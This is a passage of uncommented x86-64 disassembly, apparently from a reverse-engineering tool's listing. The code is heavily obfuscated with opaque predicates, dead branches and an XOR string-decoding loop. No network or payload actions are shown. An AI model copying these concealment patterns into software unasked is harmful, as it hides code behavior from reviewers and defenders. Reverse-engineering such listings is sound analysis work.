mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x620], 0x93a9
mov dword [rsp + 0xfa8], 0x2f2d
mov dword [rsp + 0xfac], 0x5bc8
mov eax, dword [rsp + 0xfa8]
mov dword [rsp + 0x620], eax
cmp dword [rsp + 0x620], 0
je 0x14002b0db
mov dword [rsp + 0xfac], 0x63ad
mov dword [rsp + 0x624], 0x43cc
mov dword [rsp + 0xfb0], 0x3b4c
mov dword [rsp + 0xfb4], 0x45d2
mov eax, dword [rsp + 0xfb0]
mov dword [rsp + 0x624], eax
cmp dword [rsp + 0x624], 0
je 0x14002b11f
mov dword [rsp + 0xfb4], 0x4e60
mov eax, 2
imul rax, rax, 0x15
movzx eax, word [rsp + rax + 0x1be0]
test eax, eax
je 0x14002b141
mov dword [rsp + 0x628], 1
jmp 0x14002b14c
mov dword [rsp + 0x628], 0
movzx eax, byte [rsp + 0x628]
test eax, eax
je 0x14002b20f
mov dword [rsp + 0x62c], 0x65d6
mov dword [rsp + 0xfb8], 0x88c8
mov dword [rsp + 0xfbc], 0x6e8c
mov eax, dword [rsp + 0xfb8]
mov dword [rsp + 0x62c], eax
cmp dword [rsp + 0x62c], 0
je 0x14002b1a0
mov dword [rsp + 0xfbc], 0x9ca6
mov dword [rsp + 0x1b8], 0
jmp 0x14002b1bd
mov eax, dword [rsp + 0x1b8]
inc eax
mov dword [rsp + 0x1b8], eax
cmp dword [rsp + 0x1b8], 0x16
jge 0x14002b20f
movsxd rax, dword [rsp + 0x1b8]
movzx eax, word [rsp + rax*2 + 0x1be0]
mov dword [rsp + 0xfc0], eax
mov eax, dword [rsp + 0x1b8]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0xfc0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1b8]
mov word [rsp + rcx*2 + 0x1be0], ax
jmp 0x14002b1ad
lea rcx, [rsp + 0x1a4]
call fcn.140030768
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x750]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002c862
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x228], rax
mov dword [rsp + 0x74], 0
jmp 0x14002b25c
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
movsxd rax, dword [rsp + 0x74]
cmp rax, 1
jae 0x14002c862
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xfc4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xfc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xfc8], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xfc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xfcc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xfcc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002b624
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108358]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x348], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xfd0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xfd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xfd8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xfd4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xfd4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xfd8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002b54e
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xfdc], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xfdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xfe0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xfe0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xfe4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xfe4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002b54e
mov dword [rsp + 0x154], 0
jmp 0x14002b410
cmp dword [rsp + 0x154], 4
jae 0x14002b549
cvtsi2sd xmm0, dword [rsp + 0x154]
movsd xmm1, qword [rsp + 0x348]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1958], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1958]
ucomisd xmm1, xmm0
jp 0x14002b48b
jne 0x14002b48b
mov eax, dword [rsp + 0x154]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x348]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x348], xmm0
jmp 0x14002b30a
cvtsi2sd xmm0, dword [rsp + 0x154]
movsd xmm1, qword [rsp + 0x348]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1960], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1960]
ucomisd xmm1, xmm0
jp 0x14002b4f3
jne 0x14002b4f3
mov eax, dword [rsp + 0x154]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x348]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x348], xmm0
jmp 0x14002b509
xor eax, eax
test eax, eax
je 0x14002b505
jmp 0x14002b5f0
jmp 0x14002b532
cvtsi2sd xmm0, dword [rsp + 0x154]
movsd xmm1, qword [rsp + 0x348]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f4], eax
jmp 0x14002b5fb
xor eax, eax
cmp eax, 1
je 0x14002b53f
jmp 0x14002b54e
jmp 0x14002b30a
jmp 0x14002b30a
xor eax, eax
cmp eax, 1
je 0x14002b5f0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xfe8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xfe8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xff0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xfec], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xfec]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xff0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x348]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f4], eax
jmp 0x14002b5fb
mov dword [rsp + 0x5f4], 1
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x228]
mov edx, dword [rsp + 0x5f4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xff4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xffc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xff8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xff8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xffc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002c4a3
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1000], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1004], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1008], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1008]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002ba59
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108350]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x350], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x100c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x100c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1014], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1010], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1010]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1014]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002b983
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1018], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1018]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x101c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x101c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1020], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1020]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002b983
mov dword [rsp + 0x158], 0
jmp 0x14002b845
cmp dword [rsp + 0x158], 4
jae 0x14002b97e
cvtsi2sd xmm0, dword [rsp + 0x158]
movsd xmm1, qword [rsp + 0x350]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1968], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1968]
ucomisd xmm1, xmm0
jp 0x14002b8c0
jne 0x14002b8c0
mov eax, dword [rsp + 0x158]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x350]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x350], xmm0
jmp 0x14002b73f
cvtsi2sd xmm0, dword [rsp + 0x158]
movsd xmm1, qword [rsp + 0x350]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1970], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1970]
ucomisd xmm1, xmm0
jp 0x14002b928
jne 0x14002b928
mov eax, dword [rsp + 0x158]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x350]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x350], xmm0
jmp 0x14002b93e
xor eax, eax
test eax, eax
je 0x14002b93a
jmp 0x14002ba25
jmp 0x14002b967
cvtsi2sd xmm0, dword [rsp + 0x158]
movsd xmm1, qword [rsp + 0x350]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f8], eax
jmp 0x14002ba30
xor eax, eax
cmp eax, 1
je 0x14002b974
jmp 0x14002b983
jmp 0x14002b73f
jmp 0x14002b73f
xor eax, eax
cmp eax, 1
je 0x14002ba25
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1024], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x102c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1028], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1028]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x102c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x350]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5f8], eax
jmp 0x14002ba30
mov dword [rsp + 0x5f8], 1
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x228]
mov edx, dword [rsp + 0x5f8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1030], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1030]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1034], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1038], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1038]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002be13
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108348]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x358], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x103c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x103c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1044], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1040], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1040]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1044]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002bd3d
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1048], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1048]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x104c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x104c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1050], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1050]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002bd3d
mov dword [rsp + 0x15c], 0
jmp 0x14002bbff
cmp dword [rsp + 0x15c], 4
jae 0x14002bd38
cvtsi2sd xmm0, dword [rsp + 0x15c]
movsd xmm1, qword [rsp + 0x358]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1978], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1978]
ucomisd xmm1, xmm0
jp 0x14002bc7a
jne 0x14002bc7a
mov eax, dword [rsp + 0x15c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x358]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x358], xmm0
jmp 0x14002baf9
cvtsi2sd xmm0, dword [rsp + 0x15c]
movsd xmm1, qword [rsp + 0x358]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1980], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1980]
ucomisd xmm1, xmm0
jp 0x14002bce2
jne 0x14002bce2
mov eax, dword [rsp + 0x15c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x358]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x358], xmm0
jmp 0x14002bcf8
xor eax, eax
test eax, eax
je 0x14002bcf4
jmp 0x14002bddf
jmp 0x14002bd21
cvtsi2sd xmm0, dword [rsp + 0x15c]
movsd xmm1, qword [rsp + 0x358]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x528], eax
jmp 0x14002bdea
xor eax, eax
cmp eax, 1
je 0x14002bd2e
jmp 0x14002bd3d
jmp 0x14002baf9
jmp 0x14002baf9
xor eax, eax
cmp eax, 1
je 0x14002bddf
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1054], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1054]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x105c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x1058], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1058]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x105c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x358]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x528], eax
jmp 0x14002bdea
mov dword [rsp + 0x528], 1
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x228]
mov edx, dword [rsp + 0x528]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x74]
sub eax, 0x6d
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x360], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1060], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1068], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1064], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1064]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1068]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002c08c
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x106c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x106c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1070], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1074], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1074]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002c08c
mov dword [rsp + 0x160], 0
jmp 0x14002bf4e
cmp dword [rsp + 0x160], 4
jae 0x14002c087
cvtsi2sd xmm0, dword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x360]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1988], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1988]
ucomisd xmm1, xmm0
jp 0x14002bfc9
jne 0x14002bfc9
mov eax, dword [rsp + 0x160]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x360]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x360], xmm0
jmp 0x14002be48
cvtsi2sd xmm0, dword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x360]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1990], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1990]
ucomisd xmm1, xmm0
jp 0x14002c031
jne 0x14002c031
mov eax, dword [rsp + 0x160]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x360]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x360], xmm0
jmp 0x14002c047
xor eax, eax
test eax, eax
je 0x14002c043
jmp 0x14002c12e
jmp 0x14002c070
cvtsi2sd xmm0, dword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x360]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x52c], eax
jmp 0x14002c139
xor eax, eax
cmp eax, 1
je 0x14002c07d
jmp 0x14002c08c
jmp 0x14002be48
jmp 0x14002be48
xor eax, eax
cmp eax, 1
je 0x14002c12e
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1078], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1078]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1080], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x107c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x107c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1080]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x360]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x52c], eax
jmp 0x14002c139
mov dword [rsp + 0x52c], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x74]
sub eax, 0x6d
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x368], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x1084], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x1084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x108c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x1088], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x1088]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x108c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002c3b2
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x1090], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x1090]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1094], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x1094]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1098], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x1098]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002c3b2
mov dword [rsp + 0x164], 0
jmp 0x14002c274
cmp dword [rsp + 0x164], 4
jae 0x14002c3ad
cvtsi2sd xmm0, dword [rsp + 0x164]
movsd xmm1, qword [rsp + 0x368]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1998], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1998]
ucomisd xmm1, xmm0
jp 0x14002c2ef
jne 0x14002c2ef
mov eax, dword [rsp + 0x164]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x368]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x368], xmm0
jmp 0x14002c16e
cvtsi2sd xmm0, dword [rsp + 0x164]
movsd xmm1, qword [rsp + 0x368]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x19a0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x19a0]
ucomisd xmm1, xmm0
jp 0x14002c357
jne 0x14002c357
mov eax, dword [rsp + 0x164]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x368]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x368], xmm0
jmp 0x14002c36d
xor eax, eax
test eax, eax
je 0x14002c369
jmp 0x14002c454
jmp 0x14002c396
cvtsi2sd xmm0, dword [rsp + 0x164]
movsd xmm1, qword [rsp + 0x368]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x530], eax
jmp 0x14002c45f
xor eax, eax
cmp eax, 1
je 0x14002c3a3
jmp 0x14002c3b2
jmp 0x14002c16e
jmp 0x14002c16e
xor eax, eax
cmp eax, 1
je 0x14002c454
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x109c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x109c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10a4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x10a0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x10a0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x10a4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x368]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x530], eax
jmp 0x14002c45f
mov dword [rsp + 0x530], 1
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x228]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x52c]
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov edi, dword [rsp + 0x530]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x228]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x10a8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x10a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10ac], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x10ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10b0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x10b0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002c85d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108340]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x370], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x10b4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x10b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10bc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x10b8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x10b8]
imul ecx, eax
